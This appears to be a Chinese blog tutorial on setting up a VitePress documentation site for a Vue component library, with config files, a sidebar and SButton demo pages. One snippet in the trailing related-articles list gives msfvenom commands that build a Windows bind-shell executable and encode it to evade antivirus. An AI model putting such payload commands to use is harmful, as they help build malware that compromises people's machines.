第四章 使用Vitepress搭建文档网站

news2024/10/7 18:25:33

第四章 使用Vitepress搭建文档网站

文档建设一般会是一个静态网站的形式 ,这次采用 Vitepress 完成文档建设工作。

Vitepress 是一款基于Vite 的静态站点生成工具。开发的初衷就是为了建设 Vue 的文档。Vitepress 的方便之处在于,可以使用流行的 Markdown 语法进行编写,也可以直接运行 Vue 的代码。也就是说,它能很方便地完成展示组件 Demo 的任务。

使用 Vitepress 作为文档建设工具还有另外一个好处。由于 Vitepress 是基于 Vite 的,所以它也很好的继承了 Bundless 特性,开发的代码能以“秒级”速度在文档中看到运行效果,完全可以充当调试工具来使用。所以通常情况下我开发组件时,就会直接选择在 Vitepress 上进行调试。这个开发方式大家也可以尝试一下。

本章任务

  • 利用 Vitepress 搭建生成文档网站

  • 引用组件并展示到 Demo

  • 引入代码示例提高阅读体验


【task1】搭建Vitepress生成文档网站

  • 安装开发依赖
pnpm i vitepress -D
  • 配置vitepressvite配置

默认 Vitepress 是无需配置 vitepress.config.ts 的,但是组件库中需要支持 JSX 语法与 UnoCSS,所以就需要添加配置文件。

文件名:docs/vite.config.ts

import { defineConfig } from "vite";
import vueJsx from "@vitejs/plugin-vue-jsx";
import Unocss from "../config/unocss";
// https://vitejs.dev/config/

export default defineConfig({
  plugins: [
    // 添加JSX插件
    vueJsx(),
    Unocss(),
  ],
    // 这里变更一下端口
  server: {
    port: 3000
  }
});
  • 创建文档首页

文件名:docs/index.md

## hello Vitepress

​```ts
const str:string = "hello vitepress"

​```
  • 增加文档启动脚本
{
  "scripts": {
    "docs:dev": "vitepress dev docs",
    "docs:build": "vitepress build docs",
    "docs:serve": "vitepress serve docs"
  }
}
  • 运行文档站点
pnpm docs:dev
  • 在浏览器查看结果
vitepress v1.0.0-alpha.28

  ➜  Local:   http://localhost:3000/
  ➜  Network: use --host to expose

在这里报了一个错误:

[unocss] entry module not found, have you add `import 'uno.css'` in your main entry?

这里重启一下项目。至此vitePress测试成功。


【task2】引用组件并展示到 Demo

  • 构建docs目录
docs
 |--- .vitepress
 |		|--- theme
 |		|     |--- index.ts
 |		|--- config.ts
 |--- components
 |      |--- button
 |      |      |--- index.md
 |      |--- index.md
 |      | ...
 |--- index.md
 |--- vite.config.ts

子菜单所对应的 markdwon 文件路径(默认页面 index.md)

  • 配置菜单项

文件名:docs/.vitepress/config.ts

const sidebar = {
  '/': [
    {
      text: 'Guide',
      items: [
        { text: '快速开始', link: '/' }, 
        { text: '通用', link: '/components/button/' }, 
      ]
    }
  ]
}
const config = {
  themeConfig: {
    sidebar,
  }
}
export default config
  • 在主题中引入组件

文件名:docs/.vitepress/theme/index.ts

import Theme from 'vitepress/dist/client/theme-default/index.js'
import SmartyUI from '../../../src/entry'

export default {
  ...Theme, // 默认主题
  enhanceApp({ app }) {
    app.use(SmartyUI)
  },
}
  • 编写组件文档

文件名:docs/components/button/index.md

# Button 按钮

  <div style="margin-bottom:20px;">
    <SButton color="blue">主要按钮</SButton>
    <SButton color="green">绿色按钮</SButton>
    <SButton color="gray">灰色按钮</SButton>
    <SButton color="yellow">黄色按钮</SButton>
    <SButton color="red">红色按钮</SButton>
  </div>
  • 重启文件站点
pnpm docs:dev
  • 浏览器查看结果
vitepress v1.0.0-alpha.28

  ➜  Local:   http://localhost:3000/
  ➜  Network: use --host to expose

在这里插入图片描述


【task3】引入组件代码提高阅读

  • 修改sidebar

文件名:docs/.vitepress/config.ts

const sidebar = {
  '/': [
    {
      text: 'Guide',
      items: [
        { text: '快速开始', link: '/' }, 
        { text: '通用', link: '/components/button/' }, 
      ]
    },
    {
      text: 'Components',
      items: [
        { text: '组件', link: '/components/' },
        { text: '按钮', link: '/components/button/' }, 
      ]
    }
  ]
}
  • 修改组件文档
# Button 按钮

常用操作按钮

## 基础用法

基础的函数用法
 <div style="margin-bottom:20px;">
    <SButton color="blue">主要按钮</SButton>
    <SButton color="green">绿色按钮</SButton>
    <SButton color="gray">灰色按钮</SButton>
    <SButton color="yellow">黄色按钮</SButton>
    <SButton color="red">红色按钮</SButton>
  </div>


  <div style="margin-bottom:20px;">
    <SButton color="blue"  icon="search">搜索按钮</SButton>
    <SButton color="green"  icon="edit">编辑按钮</SButton>
    <SButton color="gray"  icon="check">成功按钮</SButton>
    <SButton color="yellow"  icon="message">提示按钮</SButton>
    <SButton color="red"  icon="delete">删除按钮</SButton>
  </div>
  <div style="margin-bottom:20px;">
    <SButton color="blue"  icon="search"></SButton>
    <SButton color="green"  icon="edit"></SButton>
    <SButton color="gray"  icon="check"></SButton>
    <SButton color="yellow"  icon="message"></SButton>
    <SButton color="red"  icon="delete"></SButton>
  </div>

::: details CODE 
使用`size`、`color`、`pain`、`round`属性来定义 Button 的样式。

​```vue
<template>
   <div style="margin-bottom:20px;">
    <SButton color="blue">主要按钮</SButton>
    <SButton color="green">绿色按钮</SButton>
    <SButton color="gray">灰色按钮</SButton>
    <SButton color="yellow">黄色按钮</SButton>
    <SButton color="red">红色按钮</SButton>
  </div>


  <div style="margin-bottom:20px;">
    <SButton color="blue"  icon="search">搜索按钮</SButton>
    <SButton color="green"  icon="edit">编辑按钮</SButton>
    <SButton color="gray"  icon="check">成功按钮</SButton>
    <SButton color="yellow"  icon="message">提示按钮</SButton>
    <SButton color="red"  icon="delete">删除按钮</SButton>
  </div>
  <div style="margin-bottom:20px;">
    <SButton color="blue"  icon="search"></SButton>
    <SButton color="green"  icon="edit"></SButton>
    <SButton color="gray"  icon="check"></SButton>
    <SButton color="yellow"  icon="message"></SButton>
    <SButton color="red"  icon="delete"></SButton>
  </div>

</template>
​```

:::

## 图标按钮

带图标的按钮可增强辨识度(有文字)或节省空间(无文字)。

<div class="flex flex-row">
    <SButton icon="edit" plain></SButton>
    <SButton icon="delete" plain></SButton>
    <SButton icon="share" plain></SButton>
    <SButton round plain icon="search">搜索</SButton>
  </div>

::: details CODE
 设置 `icon` 属性即可,`icon` 的列表可以参考 `Element` 的 `icon` 组件,也可以设置在文字右边的 `icon` ,只要使用 `i` 标签即可,可以使用自定义图标。

​```vue
<template>
  <div class="flex flex-row">
    <SButton icon="edit" ></SButton>
    <SButton icon="delete" ></SButton>
    <SButton icon="share" ></SButton>
    <SButton  icon="search">搜索</SButton>
  </div>
</template>
​```
  • 重启文档站点
pnpm docs:dev
  • 在浏览器查看效果

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/22845.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

交换综合实验以及链路聚合和VRRP

1. MSTP针对RSTP做了哪些改进&#xff1f;请详细说明 在划分VLAN的网络中运行RSTP/STP。局域网内的所有VLAN共享一棵生成树&#xff0c;被阻塞后的链路将不再承载任何流量。无法在VLAN间实现数据流量的负载均衡&#xff1b;导致带宽利用率、设备资源利用率较低 &#xff08;1&…

基于KPCA 和 STFT 非侵入式负荷监控(Matlab代码实现)

&#x1f468;‍&#x1f393;个人主页&#xff1a;研学社的博客 &#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜…

免杀技术实际演示

生成反弹shell msfvenom -p windows/shell/bind_tcp lhost1.1.1.1 lport4444 -a x86 --platform win -f exe -o a.exe加密编码反弹shell msfvenom -p windows/shell/bind_tcp lhost1.1.1.1 lport4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows…

String的compareTo()方法使用场景介绍及全量ASCII 码表(完整版)

String的compareTo方法使用场景介绍及全量ASCII 码表&#xff08;完整版&#xff09;一、介绍二、compareTo()使用场景场景一&#xff1a;数值型字符串比较场景二&#xff1a;排序比较场景三&#xff1a;对相同结构的日期比较三、源码分析四、全量ASCII 码表&#xff08;完整版…

[前端基础] JavaScript 基础篇(上)

JavaScript的标准是 ECMAScript 。截至 2012 年&#xff0c;所有浏览器都完整的支持ECMAScript 5.1&#xff0c;旧版本的浏览器至少支持 ECMAScript 3 标准。2015年6月17日&#xff0c;ECMA国际组织发布了 ECMAScript 的第六版&#xff0c;该版本正式名称为 ECMAScript 2015&am…

steam搬砖项目全面讲解,月入8000+

哈喽大家好&#xff0c;我是阿阳 今天给大家分享CSGO搬砖项目&#xff0c;这个是最为稳定利润可观的项目&#xff0c;一个月净赚3万 阿阳网络创始人&#xff0c;8年互联网项目实战经验&#xff0c;个人ip打造【玩赚steam&#xff0c;3年买2套房】国外steam游戏搬砖&#xff08…

[附源码]java毕业设计文档管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

Java中Callable和Future

Java中为什么需要Callable 在java中有两种创建线程的方法&#xff1a; 一种是继承Thread类&#xff0c;重写run方法&#xff1a; public class TestMain {public static void main(String[] args) {MyThread t1 new MyThread();t1.start();} } class MyThread extends Thre…

值得学习的Linux内核锁(一)

在linux系统当中存在很多独占性的资源&#xff0c;他在同一个时间只能被一个进程使用。常见的有打印机、内存或者系统内部表现等资源。如果打印机同时被两个进程使用&#xff0c;打印结果就会混乱输出结果&#xff1b;如果一个内存资源被多个进程同时修改&#xff0c;进程实际的…

【Hack The Box】linux练习-- Networked

HTB 学习笔记 【Hack The Box】linux练习-- Networked &#x1f525;系列专栏&#xff1a;Hack The Box &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f4c6;首发时间&#xff1a;&#x1f334;2022年11月17日&#x1f334; &#x…

Java多线程从基本概念到精通大神,大佬给我们铺平学习之路

Java 提供了多线程编程的内置支持&#xff0c;让我们可以轻松开发多线程应用。 Java 中我们最为熟悉的线程就是 main 线程——主线程。 一个进程可以并发多个线程&#xff0c;每条线程并行执行不同的任务。线程是进程的基本单位&#xff0c;是一个单一顺序的控制流&#xff0c;…

常见的限流算法与实现

限流的实现 常见的限流算法&#xff1a; 限流是对某一时间窗口内的请求数进行限制&#xff0c;保持系统的可用性和稳定性&#xff0c;防止因流量暴增而导致的系统运行缓慢或宕机。 常见的限流算法有三种&#xff1a; 计数器限流(固定窗口) 原理&#xff1a; 时间线划分为多…

Dubbo3.0入门-Java版

Dubbo 简介 ​ Apache Dubbo 是一款 RPC 服务开发框架&#xff0c;用于解决微服务架构下的服务治理与通信问题&#xff0c;官方提供了 Java、Golang 等多语言 SDK 实现。使用 Dubbo 开发的微服务原生具备相互之间的远程地址发现与通信能力&#xff0c; 利用 Dubbo 提供的丰富服…

【软件测试】测试人终将迎来末路?测试人的我35岁就坐等失业?

目录&#xff1a;导读一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09;一句话萦绕在耳畔测试乃至测开…

02 LaTex之小tips

1.运行 2.头&#xff0b;尾 \documentclass[11pt]{article}\usepackage{algorithm, algpseudocode} \usepackage{amsmath,amssymb,amsthm} \usepackage{mathrsfs}% huaxie zimu \textwidth 16cm\textheight 22cm\oddsidemargin0cm\evensidemargin\oddsidemargin\usepackage{un…

Java#17(static)

目录 一.静态关键字static 1.静态变量(被static修饰的成员变量) 2.静态方法(被static修饰的成员方法) 扩展:工具类的简单使用 三.static关键字的注意事项 一.静态关键字static 1.静态变量(被static修饰的成员变量) 特点: (1)被该类的所有对象共享 (2)不属于对象,属于类 (3)…

版权交易平台app开发,构建版权元宇宙生态

近年来在国家的大力宣传推广下&#xff0c;人们在版权方面的保护意识逐步提高&#xff0c;大力发展版权交易市场&#xff0c;不仅是响应国家号召的体现&#xff0c;更是保护公民合法权益的重要举措。版权交易平台app的开发为创业者提供了一个全新投资方向&#xff0c;同时app还…

带你认识工厂类设计模式——简单工厂工厂方法抽象工厂简单抽象工厂反射简单抽象工厂

工厂类设计模式简单工厂模式简单工厂模式类图简单工厂实现代码实现小结工厂方法模式工厂方法模式类图工厂方法模式代码实现小结抽象工厂模式抽象工厂模式类图抽象工厂模式代码实现小结&#xff1a;用简单工厂改进抽象工厂模式简单抽象工厂模式类图简单抽象工厂模式代码实现小结…

高项 人力资源管理论文

4个过程&#xff1a; 人力资源管理简单可以归纳为以下四点&#xff1a;明确需要的人&#xff08;&#xff08;制定人力资源管理计划&#xff09;&#xff0c;找到合适的人&#xff08;组建项目团队&#xff09;&#xff0c;用好身边的人&#xff08;建设项目团队&#xff09;&…

宝塔面板一键部署芸众商城智慧商业系统 打造多终端直播分销商城

芸众商城社交电商系统前端基于vue开发&#xff0c;后端基于laravel开发&#xff0c;免费版本全开源&#xff0c;支持商用&#xff0c;可同时支持多端口部署运行&#xff1b;本教程将使用宝塔面板一键部署的方式搭建芸众商城系统&#xff0c;使用宝塔面板搭建&#xff0c;大大提…